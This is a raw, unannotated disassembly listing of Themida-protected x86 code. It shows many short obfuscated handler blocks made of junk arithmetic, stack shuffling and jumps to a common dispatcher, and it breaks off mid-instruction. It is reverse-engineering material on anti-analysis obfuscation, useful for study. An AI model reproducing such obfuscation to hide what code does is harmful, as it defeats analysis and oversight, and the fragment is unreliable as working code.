Themida_:0054E010j pop eax not eax or eax, 4A2A2E22h or eax, 7F22CBh xor eax, 3CBA0605h push esi push 4A1153D8h pop esi jmp loc_54E20F ; --------------------------------------------------------------------------- loc_5481A9: ; CODE XREF: Themida_:0054E33Fj or esi, 1D6D67E2h xor esi, 6AB52C22h sub esi, 574A5BC3h sub edx, esi jmp loc_5489D2 ; --------------------------------------------------------------------------- loc_5481C2: ; CODE XREF: Themida_:00548C1Bj push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54B335 ; --------------------------------------------------------------------------- loc_5481DE: ; CODE XREF: Themida_:005448B9j push 41C0h mov [esp], ecx push edi jmp loc_547671 ; --------------------------------------------------------------------------- loc_5481EC: ; CODE XREF: Themida_:005456D3j push esi mov esi, 7E6B021Ah mov ebp, esi pop esi neg ebp jmp loc_5470D9 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 662h jmp loc_54AF45 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push 3500h mov [esp], ebp push esp jmp loc_54D9BA ; --------------------------------------------------------------------------- loc_548221: ; CODE XREF: Themida_:0054A645j mov edx, ebp pop ebp jmp loc_5496B3 ; --------------------------------------------------------------------------- loc_548229: ; CODE XREF: Themida_:005474BEj mov edi, 2D973DA2h xor edi, 2D973DA6h add eax, edi jmp loc_54AB12 ; --------------------------------------------------------------------------- loc_54823B: ; CODE XREF: Themida_:00549E8Fj push ebp mov ebp, 4 add ecx, 318D2A86h add ecx, 6D5226C3h add ecx, ebp sub ecx, 6D5226C3h sub ecx, 318D2A86h pop ebp add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebx mov ebx, 290F2AE2h dec ebx or ebx, 24DC16BFh push edi mov edi, 34F88CFh add ebx, edi jmp loc_54F915 ; --------------------------------------------------------------------------- loc_54827F: ; CODE XREF: Themida_:00544E81j mov ecx, [esp] add esp, 4 jmp loc_549F97 ; --------------------------------------------------------------------------- loc_54828A: ; CODE XREF: Themida_:00546E20j pop edx xor al, dl mov edx, [esp] push edx jmp loc_54AA63 ; --------------------------------------------------------------------------- loc_548296: ; CODE XREF: Themida_:00544751j sub esp, 4 mov [esp], ecx mov ecx, 5D2D02AAh jmp loc_54D7C2 ; --------------------------------------------------------------------------- loc_5482A9: ; CODE XREF: Themida_:00548356j mov eax, 7E4D49D4h sub eax, 4E5C2640h neg eax add eax, 2FF12398h jmp loc_54AF13 ; --------------------------------------------------------------------------- loc_5482BF: ; CODE XREF: Themida_:00547379j mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp $+5 xchg edi, [esp] jmp loc_54F6F3 ; --------------------------------------------------------------------------- loc_5482DE: ; CODE XREF: Themida_:0054996Bj add al, ch push dword ptr [esp] pop ecx jmp loc_546975 ; --------------------------------------------------------------------------- loc_5482E9: ; CODE XREF: Themida_:0054936Fj mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp add eax, 7C053457h sub esp, 4 mov [esp], ecx push 4000h pop ecx and eax, ecx jmp loc_5486AF ; --------------------------------------------------------------------------- loc_548311: ; CODE XREF: Themida_:0054F253j add word ptr [esp+2], 2CA5h push bp mov bp, 3216h add [esp+4], bp pop bp sub word ptr [esp+2], 0C53h mov cx, [esp] add esp, 2 jmp loc_54A504 ; --------------------------------------------------------------------------- loc_548338: ; CODE XREF: Themida_:005478CDj mov ch, dl mov bh, ch pop ecx jmp loc_54EEF6 ; --------------------------------------------------------------------------- loc_548342: ; CODE XREF: Themida_:0054449Dj sub dl, 0A2h jmp loc_549543 ; --------------------------------------------------------------------------- loc_54834A: ; CODE XREF: Themida_:00549F56j pop esi xchg ebp, [esp] mov esp, [esp] push eax push esp pop eax push ebp push eax jmp loc_5482A9 ; --------------------------------------------------------------------------- loc_54835B: ; CODE XREF: Themida_:00546D63j xchg ebp, [esp] pop esp xor ebx, 629A06D7h push ecx push 7A701EE5h jmp loc_544033 ; --------------------------------------------------------------------------- loc_548370: ; CODE XREF: Themida_:0054C14Aj pop esp push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp jmp loc_549FE6 ; --------------------------------------------------------------------------- loc_54837F: ; CODE XREF: Themida_:0054641Aj push eax mov eax, 3DC40B36h or eax, 3AFC79EFh inc eax jmp loc_54AC70 ; --------------------------------------------------------------------------- loc_548390: ; CODE XREF: Themida_:00545F24j push ebp push esp mov ebp, [esp] add esp, 4 jmp loc_54EF13 ; --------------------------------------------------------------------------- loc_54839D: ; CODE XREF: Themida_:00544352j add edx, 4 jmp loc_545A41 ; --------------------------------------------------------------------------- loc_5483A8: ; CODE XREF: Themida_:00548057j push eax mov eax, 4A443A4Ch jmp loc_544DC8 ; --------------------------------------------------------------------------- loc_5483B3: ; CODE XREF: Themida_:00546561j mov ebx, esi push ebx pop ebp pop ebx pop esi jmp loc_544B2E ; --------------------------------------------------------------------------- loc_5483BE: ; CODE XREF: Themida_:0054CD0Cj push ecx jmp loc_54E585 ; --------------------------------------------------------------------------- loc_5483C4: ; CODE XREF: Themida_:0054874Fj sub [esp+4], ebp jmp loc_546457 ; --------------------------------------------------------------------------- loc_5483CD: ; CODE XREF: Themida_:005489AFj push ebx mov ebx, 592F29A5h mov edx, ebx pop ebx add eax, edx jmp loc_54E353 ; --------------------------------------------------------------------------- loc_5483DD: ; CODE XREF: Themida_:0054E059j mov [esp], edx jmp loc_54D1CE ; --------------------------------------------------------------------------- loc_5483E5: ; CODE XREF: Themida_:00548F24j xor edi, [esp] mov esp, [esp] jmp loc_54592F ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], ebx jmp loc_54A0F2 ; --------------------------------------------------------------------------- loc_548410: ; CODE XREF: Themida_:00545D2Aj mov esp, [esp] jmp loc_5448BE ; --------------------------------------------------------------------------- loc_548418: ; CODE XREF: Themida_:00547A6Cj push ecx mov ch, 0A8h jmp loc_548F37 ; --------------------------------------------------------------------------- loc_548420: ; CODE XREF: Themida_:0054489Aj push edx jmp loc_5486C9 ; --------------------------------------------------------------------------- loc_548426: ; CODE XREF: Themida_:0054591Cj pop esp push 66B8h mov [esp], ebx jmp loc_54FC58 ; --------------------------------------------------------------------------- loc_548434: ; CODE XREF: Themida_:0054FDC2j not dl shl dl, 5 not dl jmp loc_547DEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CDA loc_548440: ; CODE XREF: sub_565CDA-196ECj push dx jmp sub_54EAB8 ; END OF FUNCTION CHUNK FOR sub_565CDA ; --------------------------------------------------------------------------- loc_548447: ; CODE XREF: Themida_:00546BF6j mov ecx, [esp] add esp, 4 xchg eax, [esp] pop esp ror byte ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp jmp loc_547CB3 ; --------------------------------------------------------------------------- lodsb xor al, bl push small 6C7Ah mov [esp], cx mov cl, 0ECh sub cl, 0FFh jmp loc_548D88 ; --------------------------------------------------------------------------- loc_54847A: ; CODE XREF: Themida_:0054A5BEj sub esi, ebx pop ebx or edi, esi pop esi sub edi, 5BA42BE6h sub edx, edi jmp loc_54B4E2 ; --------------------------------------------------------------------------- loc_54848D: ; CODE XREF: Themida_:0054B931j sub eax, ebx pop ebx pop ebx add eax, 4 xchg eax, [esp] jmp loc_547D14 ; --------------------------------------------------------------------------- loc_54849E: ; CODE XREF: Themida_:0054684Dj pop ecx jmp locret_544382 ; --------------------------------------------------------------------------- loc_5484A4: ; CODE XREF: Themida_:00549867j or eax, eax jz loc_545B16 sub esp, 4 mov [esp], ecx mov ecx, 28h jmp loc_54B67F ; --------------------------------------------------------------------------- loc_5484BF: ; CODE XREF: Themida_:0054D078j mov ecx, eax pop eax add edx, ecx mov ecx, [esp] add esp, 4 push dword ptr [edx] jmp loc_544995 ; --------------------------------------------------------------------------- loc_5484D4: ; CODE XREF: Themida_:00545003j jmp loc_544022 ; --------------------------------------------------------------------------- loc_5484D9: ; CODE XREF: Themida_:0054ED96j push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_5455ED ; --------------------------------------------------------------------------- loc_5484EA: ; CODE XREF: Themida_:005493B5j push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 mov [esp], edi jmp loc_547B1E ; --------------------------------------------------------------------------- loc_5484FB: ; CODE XREF: Themida_:0054C4BFj add dword ptr [esp], 4 push dword ptr [esp] pop edi jmp loc_54A9B7 ; --------------------------------------------------------------------------- loc_54850B: ; CODE XREF: Themida_:0054DD19j sub edi, ecx mov ecx, [esp] push ebp jmp loc_5496FA ; --------------------------------------------------------------------------- loc_548516: ; CODE XREF: Themida_:0054AC25j mov ebx, [esp] add esp, 4 add edx, 199D717Dh add edx, eax push esi mov esi, 199D717Dh jmp loc_544A1C ; --------------------------------------------------------------------------- loc_54852F: ; CODE XREF: Themida_:0054DCEAj mov eax, 2 add ebx, eax pop eax xchg ebx, [esp] jmp loc_5463A6 ; --------------------------------------------------------------------------- loc_54853F: ; CODE XREF: Themida_:0054DA30j pop ebx add al, 0C0h sub al, dl sub al, 0C0h push dword ptr [esp] pop edx jmp loc_54488F ; --------------------------------------------------------------------------- loc_54854F: ; CODE XREF: Themida_:00549C4Bj add ebx, 4 xchg ebx, [esp] jmp loc_5480D5 ; --------------------------------------------------------------------------- loc_54855A: ; CODE XREF: Themida_:005446C9j pop eax xchg edi, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_5445D0 ; --------------------------------------------------------------------------- loc_548569: ; CODE XREF: Themida_:00548666j mov [esp], ebp mov ebp, 24BD52CCh jmp loc_54427F ; --------------------------------------------------------------------------- loc_548576: ; CODE XREF: Themida_:0054DD8Cj push eax mov al, 36h or al, 0BFh dec al jmp loc_549D0C ; --------------------------------------------------------------------------- loc_548582: ; CODE XREF: Themida_:005456EDj sub eax, 1A0B0ED7h jmp loc_54F5AC ; --------------------------------------------------------------------------- loc_54858C: ; CODE XREF: Themida_:0054CC2Dj pop edi sub ebx, edx pop edx and ebx, 72D5A2Ch and ebx, 30AC19E5h inc ebx push ecx mov ecx, 2B3C32C5h add ebx, ecx pop ecx sub esp, 4 mov [esp], ecx jmp loc_544A7A ; --------------------------------------------------------------------------- loc_5485B1: ; CODE XREF: Themida_:0054BCA7j xor edi, 732B5F2Ch shl edi, 5 xor edi, 4FBD26A0h or edi, 6732D4Bh push edx jmp loc_54DEE0 ; --------------------------------------------------------------------------- loc_5485CC: ; CODE XREF: Themida_:00548AAAj push ebp mov ebp, 5D772206h add edi, ebp jmp loc_54D9CE ; --------------------------------------------------------------------------- loc_5485D9: ; CODE XREF: Themida_:00546B4Ej not ecx sub ecx, 2D37312h sub ecx, 0A0D33EB8h add ebx, ecx pop ecx xchg ebx, [esp] pop esp add esp, 4 jmp loc_5495AF ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_544022 ; --------------------------------------------------------------------------- loc_5485FE: ; CODE XREF: Themida_:0054E818j mov eax, esp add eax, 4 push esi mov esi, 2 sub eax, 13B852D4h add eax, esi add eax, 13B852D4h jmp loc_54FEAA ; --------------------------------------------------------------------------- loc_54861C: ; CODE XREF: Themida_:0054BF30j push 4913h jmp loc_54788E ; --------------------------------------------------------------------------- loc_548626: ; CODE XREF: Themida_:00547344j push 0EADh jmp loc_54473C ; --------------------------------------------------------------------------- loc_548630: ; CODE XREF: Themida_:005459ACj add esp, 4 push dword ptr [esp] mov eax, [esp] push edi mov edi, esp jmp loc_548B0D ; --------------------------------------------------------------------------- loc_548644: ; CODE XREF: Themida_:0054E4B6j pop esp xor ebx, eax push edx mov edx, 2Ch add edx, edi jmp loc_54DF99 ; --------------------------------------------------------------------------- loc_548654: ; CODE XREF: Themida_:00547BD1j push ebx push esi jmp loc_54F5D4 ; --------------------------------------------------------------------------- loc_54865B: ; CODE XREF: Themida_:0054B3DCj mov ecx, 22B37D1h add ecx, edi pop edi sub esp, 4 jmp loc_548569 ; --------------------------------------------------------------------------- loc_54866B: ; CODE XREF: Themida_:0054630Dj mov ebx, esp jmp loc_5458B0 ; --------------------------------------------------------------------------- loc_548672: ; CODE XREF: Themida_:00548A9Dj sub esi, 7DA81641h pop ebp push edi mov edi, 22023EACh jmp loc_54807A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_548692: ; CODE XREF: Themida_:005455E8j mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5486A5: ; CODE XREF: Themida_:0054B7F8j mov ebx, 4 jmp loc_54F58B ; --------------------------------------------------------------------------- loc_5486AF: ; CODE XREF: Themida_:0054830Cj mov ecx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push edx push esi push ecx mov ecx, 3309079Ch mov esi, ecx jmp loc_549744 ; --------------------------------------------------------------------------- loc_5486C9: ; CODE XREF: Themida_:00548421j mov dh, 37h mov ch, 0A6h sub ch, dh pop edx push ebx jmp loc_545D7E ; --------------------------------------------------------------------------- loc_5486D6: ; CODE XREF: Themida_:00546C2Fj not ebx or ebx, 3CBB3396h push ebp mov ebp, 0C78F43ADh sub ebx, ebp pop ebp mov esi, ebx pop ebx shr esi, 1 or esi, 62500CC1h or esi, 68EF49A6h neg esi xor esi, 38005BC1h add esi, 5CF933BCh add eax, esi pop esi xor dword ptr [eax], 1028001Fh mov eax, [esp] add esp, 4 loc_548715: ; CODE XREF: Themida_:00548EF0j push ecx mov ecx, 33B629Dh shr ecx, 5 jmp loc_54E1EB ; --------------------------------------------------------------------------- loc_548723: ; CODE XREF: Themida_:0054D7B7j push ebp mov ebp, esp push eax jmp loc_54E00B ; --------------------------------------------------------------------------- loc_54872C: ; CODE XREF: Themida_:005447ABj pop edx xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54873B: ; CODE XREF: Themida_:00547B51j push ebx mov ebx, 679178D4h mov ebp, ebx pop ebx xor ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5483C4 ; --------------------------------------------------------------------------- loc_548754: ; CODE XREF: Themida_:00544906j mov ecx, [esp] jmp loc_54A398 ; --------------------------------------------------------------------------- loc_54875C: ; CODE XREF: Themida_:00544A25j pop eax add edx, 2 xor edx, [esp] jmp loc_5456F9 ; --------------------------------------------------------------------------- loc_548768: ; CODE XREF: Themida_:0054D3A1j mov ecx, 16D70F7Bh shr ecx, 2 jmp loc_544D61 ; --------------------------------------------------------------------------- loc_548775: ; CODE XREF: Themida_:00547C5Dj add al, 65h add al, 43h sub al, dl jmp loc_54F755 ; --------------------------------------------------------------------------- loc_548780: ; CODE XREF: Themida_:0054C47Dj sub ecx, 523659Ch add edx, ecx push dword ptr [esp] push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 jmp loc_54B9EB ; --------------------------------------------------------------------------- loc_54879C: ; CODE XREF: Themida_:005463ACj mov [esp], edx push ecx mov cl, 0CAh mov dl, 92h neg dl add dl, 1 not dl inc dl or dl, 78h add dl, 0Eh xor dl, cl mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_54F710 ; --------------------------------------------------------------------------- loc_5487CA: ; CODE XREF: Themida_:0054A055j add edi, edx pop edx sub edi, esi sub edi, 51EF4194h pop esi add eax, edi jmp loc_54F4D2 ; --------------------------------------------------------------------------- loc_5487DD: ; CODE XREF: Themida_:00544E69j push edi mov edi, 7DD61074h not edi add edi, 2F105B34h shl edi, 6 inc edi xor edi, 1798FB2Bh sub eax, edi mov edi, [esp] add esp, 4 add eax, ebp push 13BFh mov [esp], ecx mov ecx, 9206E54h jmp loc_544B77 ; --------------------------------------------------------------------------- loc_548811: ; CODE XREF: Themida_:0054CDBAj inc eax neg eax add eax, 15CC435Fh xor eax, 6617A872h add edi, eax jmp loc_54F2E0 ; --------------------------------------------------------------------------- loc_548825: ; CODE XREF: Themida_:00548186j push ecx mov ecx, 31811A34h jmp loc_547AF8 ; --------------------------------------------------------------------------- loc_548830: ; CODE XREF: Themida_:0054DC40j xor esi, 15267DBEh add eax, esi mov esi, [esp] add esp, 4 add eax, 7900617Ch push esi mov esi, 5C794BE2h add esi, 6EFC1D8Eh push ebx push edi mov edi, 17E83DBDh push edi mov ebx, [esp] add esp, 4 pop edi or esi, ebx mov ebx, [esp] add esp, 4 jmp loc_547EE6 ; --------------------------------------------------------------------------- loc_548871: ; CODE XREF: Themida_:005469F3j push ebx push dword ptr [esp+4] pop ebx jmp loc_548EE7 ; --------------------------------------------------------------------------- loc_54887C: ; CODE XREF: Themida_:0054AD02j pop eax add esp, 4 pop dword ptr [esp] push dword ptr [esp] jmp loc_545AE2 ; --------------------------------------------------------------------------- loc_54888B: ; CODE XREF: Themida_:00545B23j pop esp mov [esp], ebx push ebx mov ebx, 3C337758h jmp loc_54CD75 ; --------------------------------------------------------------------------- loc_54889A: ; CODE XREF: Themida_:00546E00j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_54A277 ; --------------------------------------------------------------------------- loc_5488AC: ; CODE XREF: Themida_:0054CEA3j xor [esp+1], dl jmp loc_54F894 ; --------------------------------------------------------------------------- loc_5488B5: ; CODE XREF: Themida_:0054FFB0j or ecx, 3DA660E3h jmp loc_54EE98 ; --------------------------------------------------------------------------- loc_5488C0: ; CODE XREF: Themida_:0054716Aj add esp, 4 sub bl, 0B0h add bl, al push ecx mov cl, 0DAh jmp loc_54AC98 ; --------------------------------------------------------------------------- loc_5488D3: ; CODE XREF: Themida_:005449F5j add esp, 4 jmp loc_54FB65 ; --------------------------------------------------------------------------- loc_5488DE: ; CODE XREF: Themida_:005458CFj xor eax, [esp] jmp loc_5493EA ; --------------------------------------------------------------------------- loc_5488E6: ; CODE XREF: Themida_:00547BFFj neg ebp add ebp, 4CD13C00h add edx, ebp pop ebp add edx, 4 push edx push dword ptr [esp+4] jmp loc_54DC45 ; --------------------------------------------------------------------------- loc_548901: ; CODE XREF: Themida_:00546E91j neg ch jmp loc_545AC9 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54E4D1 ; --------------------------------------------------------------------------- loc_54892D: ; CODE XREF: Themida_:00549ED0j sub edx, 49F2C494h sub eax, edx pop edx sub eax, esi add eax, 79A170CAh mov esi, [esp] jmp loc_54D178 ; --------------------------------------------------------------------------- loc_548945: ; CODE XREF: Themida_:0054E972j add [esp+4], edi sub dword ptr [esp+4], 14BA506Ah sub dword ptr [esp+4], 436E2128h add dword ptr [esp+4], 66DD24EEh push edx mov edx, 5BBF30F5h add [esp+8], edx jmp loc_54660B ; --------------------------------------------------------------------------- loc_548970: ; CODE XREF: Themida_:00547092j mov ebx, esp jmp loc_54A02D ; --------------------------------------------------------------------------- loc_548977: ; CODE XREF: Themida_:005490C0j push eax push 53387B2Ch pop eax add eax, 0ACC784D8h jmp loc_54557D ; --------------------------------------------------------------------------- loc_548988: ; CODE XREF: Themida_:00544D04j add ebp, esi sub ebp, 6C421703h jmp loc_548A07 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_54B7C4 ; --------------------------------------------------------------------------- mov eax, 2CA21FCh push edi mov edi, 0FFFFFFFFh sub esp, 4 mov [esp], edx jmp loc_5483CD ; --------------------------------------------------------------------------- loc_5489B4: ; CODE XREF: Themida_:005460FEj push edi mov edi, 4B2A12A4h mov ebp, 719184DEh jmp loc_5442DF ; --------------------------------------------------------------------------- loc_5489C4: ; CODE XREF: Themida_:0054BF1Aj sub edi, 7DCF193Eh pop esi sub edi, edx jmp loc_54DA8B ; --------------------------------------------------------------------------- loc_5489D2: ; CODE XREF: Themida_:005481BDj pop esi jmp loc_5471CC ; --------------------------------------------------------------------------- loc_5489D8: ; CODE XREF: Themida_:00547463j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54E7B5 ; --------------------------------------------------------------------------- loc_5489E8: ; CODE XREF: Themida_:0054E4DBj mov edi, 217D7E1Bh inc edi and edi, 3A84773Ah xor edi, 2004761Ah add ebx, edi mov edi, [esp] add esp, 4 jmp loc_54A103 ; --------------------------------------------------------------------------- loc_548A07: ; CODE XREF: Themida_:00548990j pop esi sub esp, 4 mov [esp], eax mov eax, 4 add ebp, 6903234Fh add ebp, eax sub ebp, 6903234Fh pop eax jmp loc_54BA93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_548A2A: ; CODE XREF: sub_545BCC-16EFj add esp, 4 pop ecx push ecx mov ch, 92h neg ch not ch jmp loc_54AE96 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_548A3A: ; CODE XREF: Themida_:0054C1D8j mov edi, esp push edx mov edx, 0A51DF9h jmp loc_54983D ; --------------------------------------------------------------------------- loc_548A47: ; CODE XREF: Themida_:005447DCj mov eax, 708A5465h push ebp jmp loc_54EB52 ; --------------------------------------------------------------------------- loc_548A52: ; CODE XREF: Themida_:0054AA8Fj push 440B1CDCh pop edx add edx, 0BBF4E328h mov ebx, edx mov edx, [esp] push eax mov eax, esp add eax, 4 jmp loc_5475CE ; --------------------------------------------------------------------------- loc_548A70: ; CODE XREF: Themida_:00547ED7j or ecx, 66F1305Eh dec ecx jmp loc_54405D ; --------------------------------------------------------------------------- loc_548A7C: ; CODE XREF: Themida_:00548C26j mov ebp, 0DB408E3h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp add dword ptr [esp], 7DA81641h pop esi jmp loc_548672 ; --------------------------------------------------------------------------- loc_548AA2: ; CODE XREF: Themida_:0054ADF4j sub edi, 5D772206h sub edi, ebp jmp loc_5485CC ; --------------------------------------------------------------------------- loc_548AAF: ; CODE XREF: Themida_:0054FC7Dj xor ebp, [esp] xor [esp], ebp jmp loc_54E639 ; --------------------------------------------------------------------------- loc_548ABA: ; CODE XREF: Themida_:00545F09j push 7BA1h jmp loc_54C3B5 ; --------------------------------------------------------------------------- loc_548AC4: ; CODE XREF: Themida_:00549DBAj push dword ptr [esp+4] pop ebx jmp loc_54F870 ; --------------------------------------------------------------------------- loc_548ACE: ; CODE XREF: Themida_:0054FEB1j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54A539 ; --------------------------------------------------------------------------- loc_548ADB: ; CODE XREF: Themida_:0054DA60j pop edx sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_54DD89 ; --------------------------------------------------------------------------- loc_548AE8: ; CODE XREF: Themida_:0054C861j sub esi, eax pop eax xchg esi, [esp] pop esp mov [esp], esi mov esi, 4 jmp loc_54E173 ; --------------------------------------------------------------------------- loc_548AFC: ; CODE XREF: Themida_:0054D28Aj add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_545591 ; --------------------------------------------------------------------------- loc_548B0D: ; CODE XREF: Themida_:0054863Fj add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebx jmp loc_54FFF1 ; --------------------------------------------------------------------------- loc_548B38: ; CODE XREF: Themida_:005464CFj push ecx push edx jmp loc_545907 ; --------------------------------------------------------------------------- loc_548B3F: ; CODE XREF: Themida_:00546D42j sub esp, 4 mov [esp], ebx push esp pop ebx push 1C63h mov [esp], ebp mov ebp, 4B024598h or ebp, 168A55D9h jmp loc_5478C3 ; --------------------------------------------------------------------------- loc_548B5F: ; CODE XREF: Themida_:00548FE0j pop esi xor edi, 39A6854Bh mov ebx, edi jmp loc_545D78 ; --------------------------------------------------------------------------- loc_548B6D: ; CODE XREF: Themida_:0054DF14j sub ecx, 2 jmp loc_54E53E ; --------------------------------------------------------------------------- loc_548B78: ; CODE XREF: Themida_:00548B86j pop ecx add ecx, 4 jmp loc_54F312 ; --------------------------------------------------------------------------- loc_548B84: ; CODE XREF: Themida_:005456BEj push ecx push esp jmp loc_548B78 ; --------------------------------------------------------------------------- loc_548B8B: ; CODE XREF: Themida_:0054EC0Aj mov [esp], edx jmp loc_54BD0B ; --------------------------------------------------------------------------- loc_548B93: ; CODE XREF: Themida_:0054F350j jmp loc_544022 ; --------------------------------------------------------------------------- loc_548B98: ; CODE XREF: Themida_:00544CC6j shl ebx, 6 push esi mov esi, 3B501F61h add esi, 2A67E421h add ebx, esi pop esi jmp loc_5473BA ; --------------------------------------------------------------------------- loc_548BAF: ; CODE XREF: Themida_:00544665j jmp loc_544022 ; --------------------------------------------------------------------------- loc_548BB4: ; CODE XREF: Themida_:00549536j push eax jmp loc_54D171 ; --------------------------------------------------------------------------- loc_548BBA: ; CODE XREF: Themida_:00544CBEj mov ebx, eax pop eax sub eax, ebx jmp loc_54635B ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_544BB5 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], esi push esp jmp loc_54B950 ; --------------------------------------------------------------------------- loc_548BE5: ; CODE XREF: Themida_:0054E365j pop edi jmp loc_54C558 ; --------------------------------------------------------------------------- loc_548BEB: ; CODE XREF: Themida_:0054C343j pop edi pop dword ptr [esp] jmp loc_54730D ; --------------------------------------------------------------------------- loc_548BF4: ; CODE XREF: Themida_:00548D62j or eax, eax jz loc_546396 push dword ptr [edi+1Ch] jmp loc_545B6C ; --------------------------------------------------------------------------- loc_548C04: ; CODE XREF: Themida_:0054C76Bj push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_5479E1 ; --------------------------------------------------------------------------- loc_548C10: ; CODE XREF: Themida_:00548E44j add ch, 0D7h sub ch, al sub ch, 0D7h pop eax add al, ch jmp loc_5481C2 ; --------------------------------------------------------------------------- loc_548C20: ; CODE XREF: Themida_:0054E478j jmp loc_544022 ; --------------------------------------------------------------------------- loc_548C25: ; CODE XREF: Themida_:0054A691j push ebp jmp loc_548A7C ; --------------------------------------------------------------------------- loc_548C2B: ; CODE XREF: Themida_:00548DD0j push esi push 85C5B49Eh pop esi jmp loc_545280 ; --------------------------------------------------------------------------- loc_548C37: ; CODE XREF: Themida_:0054A5DFj add edx, ebx jmp loc_54CC80 ; --------------------------------------------------------------------------- loc_548C3E: ; CODE XREF: Themida_:0054DA71j cmp cx, ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_548C47: ; CODE XREF: Themida_:0054BFEEj sub eax, 0F7DAF12Ch mov edi, eax pop eax add eax, edi pop edi mov esi, [esp] add esp, 4 jmp loc_54AA6A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_548C6D: ; CODE XREF: Themida_:0054805Ej shl ebx, 7 push edx mov edx, 0BD33B61h and ebx, edx pop edx and ebx, 2E5F2167h add ebx, 176F28ADh xor edi, ebx pop ebx push edx mov edx, 1F1E7913h xor edx, 25E1729Ah xor edx, 0DF265A67h xor edi, edx pop edx sub ebp, edi mov edi, [esp] push edx mov edx, esp add edx, 4 jmp loc_54A6AA ; --------------------------------------------------------------------------- loc_548CB0: ; CODE XREF: Themida_:00547916j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push edx mov edx, 455077F3h mov ebx, edx mov edx, [esp] add esp, 4 push ebx jmp loc_54B2CB ; --------------------------------------------------------------------------- loc_548CDA: ; CODE XREF: Themida_:0054EB11j mov eax, 47F45892h jmp loc_54ADDA ; --------------------------------------------------------------------------- loc_548CE4: ; CODE XREF: Themida_:005500A0j mov ebp, 70144186h jmp loc_54DA65 ; --------------------------------------------------------------------------- loc_548CEE: ; CODE XREF: Themida_:0054A1AFj push eax jmp loc_54A9FF ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_544022 ; --------------------------------------------------------------------------- loc_548CFC: ; CODE XREF: Themida_:00546C06j pop edx mov edx, eax push dword ptr [esp] push dword ptr [esp] jmp loc_54F78A ; --------------------------------------------------------------------------- loc_548D0A: ; CODE XREF: Themida_:0054A879j push edx mov edx, 4 jmp loc_54F2F6 ; --------------------------------------------------------------------------- loc_548D15: ; CODE XREF: Themida_:00547796j mov esi, 4F827DEEh shr esi, 6 jmp loc_54B6AA ; --------------------------------------------------------------------------- loc_548D22: ; CODE XREF: Themida_:0054DAFBj add eax, edx mov [eax], ecx pop eax jmp loc_54CCA8 ; --------------------------------------------------------------------------- loc_548D2C: ; CODE XREF: Themida_:0054CD03j mov eax, [esp] add esp, 4 push ecx mov ecx, esp push edx mov edx, 4BA54A89h jmp loc_545ABE ; --------------------------------------------------------------------------- loc_548D43: ; CODE XREF: Themida_:0054F57Ej pop edx jmp loc_5492AE ; --------------------------------------------------------------------------- loc_548D49: ; CODE XREF: Themida_:0054DE7Cj add bl, al pop eax sub bl, al push 78F9h jmp loc_54B7FD ; --------------------------------------------------------------------------- loc_548D58: ; CODE XREF: Themida_:0054D0EAj add esi, 4 xchg esi, [esp] pop esp jmp loc_548BF4 ; --------------------------------------------------------------------------- loc_548D67: ; CODE XREF: Themida_:0054E634j add esi, 0C00C09CEh mov edx, esi jmp loc_549C6E ; --------------------------------------------------------------------------- loc_548D74: ; CODE XREF: Themida_:0054F035j mov dh, 76h mov bl, dh pop edx push eax sub esp, 4 mov [esp], ecx jmp loc_546874 ; --------------------------------------------------------------------------- loc_548D88: ; CODE XREF: Themida_:00548475j xchg dl, cl not dl jmp loc_547515 ; --------------------------------------------------------------------------- loc_548D91: ; CODE XREF: Themida_:00546A37j mov ah, 5Dh push cx mov cl, 0E9h xor cl, 0EFh neg cl xor 